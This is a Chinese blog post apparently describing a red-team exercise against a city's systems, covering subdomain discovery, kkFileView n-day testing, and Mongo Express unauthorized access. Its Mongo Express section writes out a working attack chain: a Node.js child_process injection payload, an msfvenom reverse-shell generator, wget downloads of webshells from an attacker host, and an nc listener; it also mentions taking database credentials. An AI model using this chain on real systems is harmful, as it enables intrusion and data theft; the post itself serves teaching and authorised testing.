记某地级市护网的攻防演练行动

ops/2024/12/22 20:07:01/

0x1 前言

哈喽,师傅们!

这次给师傅们分享的是上上个星期的地级市护网的攻防演练的两个案例,涉及到的知识点可能比较偏,下面我也会提前给师傅们拓展下改漏洞相关的知识点内容。护网攻防演练中,涉及到的很多敏感内容这里会进行打码操作,然后这里简单给师傅们分享下两个攻防演练中的真实案例,也让没有打过红队攻防演练的师傅们学习下,感受下思路过程。

0x2 资产测绘

1、确定目标资产

在进行攻防演练之前,开始就是进行资产的划分了,我们有两支红队,然后每个队伍都划分不一样的资产目标,然后再在每个队伍里面划分每个人的任务安排,下面的信息资产收集调研表就是我所分配的一部分资产

图片

2、域名/子域名收集

这里我先把这些域名收集好,把他们都放到一个txt文件里面,然后再使用我们的然后使用oneforall收集改目标站点的子域名

图片

然后跑完以后,结果会在result文件 里面

图片

然后再使用exec表进行筛选状态码为200的域名,且再进行域名和IP去重的操作,为了后面减少测试的工作量

图片

3、URL指纹探测

收集完上面的IP和域名以及子域名,然后就可以使用无影这款工具进行URL指纹探测,看看存在哪些可以利用,或者可以攻击的点

图片

或者还可以使用密探这款工具进行指纹识别等操作,都很简单,半自动化扫描

然后再根据上面探测到的信息上网查找相关打点的方法,然后再进行一波渗透测试的操作

图片

0x3 攻防演练案例一

kkFileView漏洞简介

•kkFileView为文件文档在线预览解决方案,该项目使用流行的spring boot搭建,易上手和部署,基本支持主流办公文档的在线预览。

•近期,网宿安全演武实验室监测到kkFileView存在远程代码执行漏洞(网宿评分:危急,CVSS3.1评分:9.8):远程攻击者无需身份认证,即可利用该漏洞覆盖任意⽂件,再调用被覆盖的文件实现远程代码执行。

•目前该漏洞POC状态及EXP状态已在互联网公开,建议客户尽快做好自查及防护。

kkFileView漏洞实操

通过对上面的IP和域名进行url探测,发现了kkFileView框架,这个漏洞我之前挖src的时候遇到过,所以我也是拿去直接访问这个IP,然后看看kkFileView相关的nday漏洞能不能利用

图片

很开心,直接访问成功了,是个200页面,里面的功能看着满齐全的,看着怪老的,感觉是可以打一波nday的

图片

然后再使用Wappalyzer插件看看这个站点的开发语言和框架等信息

图片

这个资产打的很轻松,直接使用网上的POC以及一些漏洞的复现进行测试

图片

发现可以任意文件读取、XSS漏洞以及文件上传和文件包含打一波组合拳等等,我就不一一演示了

图片

图片

0x4 攻防演练案例二

Mongo Express简介

1.Mongo-express是MongoDB的数据库管理工具,类似Navicat对应Mysql的关系,其使用Node.js,Express和Bootstrap3编写的基于Web的MongoDB图形化管理界面。

2.漏洞问题出在lib/bson.js中的toBSON()函数中,路由 /checkValid 从外部接收输入,并调用了存在 RCE 漏洞的代码,由此存在被攻击的风险。

3.mongo-express是一款mongodb的第三方Web界面,使用node和express开发。如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(admin:pass),则可以执行任意node.js代码。

图片

Mongo Express漏洞实操

还是拿无影来看这个url探测的内容,然后看到了Mongo Express,这是MongoDB的一个历史框架漏洞

图片

这里一般Mongo Express这个框架的web管理页面的默认登录账户密码是admin:pass ,但是这个IP访问直接免密码登录,直接未授权进去了

图片

然后里面有很多的文件,都可以导出来

图片

这里直接从后台泄露的文件里面找到MongoDB的数据库账户密码

图片

还有这个站点的所以登录操作的日志记录都可以下载下来

图片

使用wappalyzer插件进行查看,发现是Express的web框架以及使用Node.js语言编写的,则可以执行任意node.js代码。

图片

下面是我从微信公众号找到的专门针对于Mongo Express漏洞框架的POC,可以实现远程命令执行

可以看到我们的bp数据包,这里显示执行成功了,那么我们再看看我们的dnslog有没有成功回显

图片

可以看到我们这里的dnslog成功回显了,这里成功可以远程命令执行

图片

拿root权限

我这里先使用kali进行测试,看看能不能ping通目标IP

发现可以ping通目标IP,那么我这里当时想的就是既然可以进行执行远程代码,那么是不是可以执行反弹shell操作呢?

图片

这里给师傅们分享一个我平常经常在打攻防使用的一个webshell木马

只需要修改下面的这两个地方即可,使用修改起来都很方便

图片

因为不知道上面的目标站点会不会解析php木马,所以我这里再使用kali的msfvenom命令生成py脚本执行

  • msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.128 LPORT=4444 -f raw > webshell.py

图片

先在本地利用python开启一个http服务,然后再使用刚才bp抓包的bp数据包进行修改,修改里面的命令执行的代码,然后下载到目标的/tmp目录下

  • python3 -m http.server 81

图片

然后再使用bp下载两个webshell的脚本文件,一个php文件和一个py的脚本执行文件

  • wget http://10.10.10.128:81/webshell.py -O /tmp/shellwget http://10.10.10.128:81/webshell.php -O /tmp/shell

图片

kali上监听4444端口

  • nc -lvvp 4444

图片

这里测试发现webshell.py脚本可以成功反弹shell,并且成功拿到了改目标资产站点的root权限,这个站点之间打穿了

  • document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash /tmp/shell")

图片

修复建议

1.及时升级漏洞组件 2.不要使MongoExpres服务暴露在公网上 3.修改默认登录密码admin:pass

redis未授权访问

上面的这个站点存在Mongo Express未授权登录漏洞,那么下面我这里猜测可能还会存在别的未授权,所以这里通过测试发现这里这个站点还存在6379redis未授权访问漏洞

图片

这里尝试使用nc连接6379端口的redis服务,看看能不能免密钥登录,直接未授权访问

师傅们,可以看到确实存在redis未授权访问漏洞,直接info可以看到里面的很多主机的信息

图片

0x5 总结

后面的细节就不给师傅们演示了,后面就是拿到漏洞,然后进行疯狂拿分就ok了。

这篇文章呢,给不了解红队攻防演练的小白师傅们的一个思路和了解吧,上个星期的攻防过程中其实出现了很多的案例,但是都很敏感,所以没有给师傅们演示和分享,这两个案例的演示和分享呢,都是基于对多种框架的熟悉和认识的基础上来打的。后面要是还有机会的话,可以跟师傅们分享别的不一样的思路案例。

最后,希望师傅们在看完这篇文章以后有学习到不一样的思路和见解!

免费获取网络安全优质学习资料与干货教程

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。


http://www.ppmy.cn/ops/117642.html

相关文章

C语言贪吃蛇小游戏演示和说明

C语言贪吃蛇小游戏演示和说明 设计贪吃蛇游戏的主要目的是让大家夯实C语言基础,训练编程思维,培养解决问题的思路,领略多姿多彩的C语言。 游戏开始后,会在中间位置出现一条只有三个节点的贪吃蛇,并随机出现一个食物&am…

探索 TensorFlow:构建强大的机器学习模型

探索 TensorFlow:构建强大的机器学习模型 TensorFlow,由Google开发并维护,是一个开源的机器学习库,广泛用于深度学习研究和生产。它提供了丰富的API和工具,使得构建、训练和部署复杂的机器学习模型变得简单而高效。在…

通过 LabVIEW 正则表达式读取数值(整数或小数)

在LabVIEW开发中,字符串处理是一个非常常见的需求,尤其是在处理包含复杂格式的数字时。本文通过一个具体的例子来说明如何利用 Match Regular Expression Function 和 Match Pattern Function 读取并解析字符串中的数字,并重点探讨这两个函数…

GNU链接器(LD):什么是符号?符号定义及实例解析

0 参考资料 GNU-LD-v2.30-中文手册.pdf GNU linker.pdf1 前言 一个完整的编译工具链应该包含以下4个部分: (1)编译器 (2)汇编器 (3)链接器 (4)lib库 在GNU工具链中&…

【嵌入式】总结——Linux系统移植(二)

同上一篇,本篇是对这一阶段学习历程的总结,仅作参考。 引言 这算是学习嵌入式Linux的二阶段,这一阶段虽是裸机开发与linux开发的过渡篇,但这一阶段也非常容易劝退。就我个人经验而言,学完裸机驱动后不应该直接看这一阶…

Java——包装类及认识泛型

包装类: 在学习泛型之前我们一定要认识包装类。 在Java 中,由于基本类型不是继承自 Object ,为了在泛型代码中可以支持基本类型, Java 给每个基本类型都对应了一个包装类型。 除了int类型和char类型的包装类不是它们对应的基本类型…

Unity3D入门(一) : 第一个Unity3D项目,实现矩形自动旋转,并导出到Android运行

1. Unity3D介绍 Unity3D是虚拟现实行业中,使用率较高的一款软件。 它有着强大的功能,是让玩家轻松创建三维视频游戏、建筑可视化、实时三维动画等互动内容的多平台、综合型 虚拟现实开发工具。是一个全面整合的专业引擎。 2. Unity安装 官网 : Unity…

Dubbo和Http的调用有什么区别

背景 我们在项目开发中,需要进行调用外部接口时,往往使用Dubbo和Http方式都能实现远程调用。那么他们在使用上,有什么区别呢? 定位不同 一个是分布式环境下的框架,一个是通信协议。 Dubbo:是一种高性能的…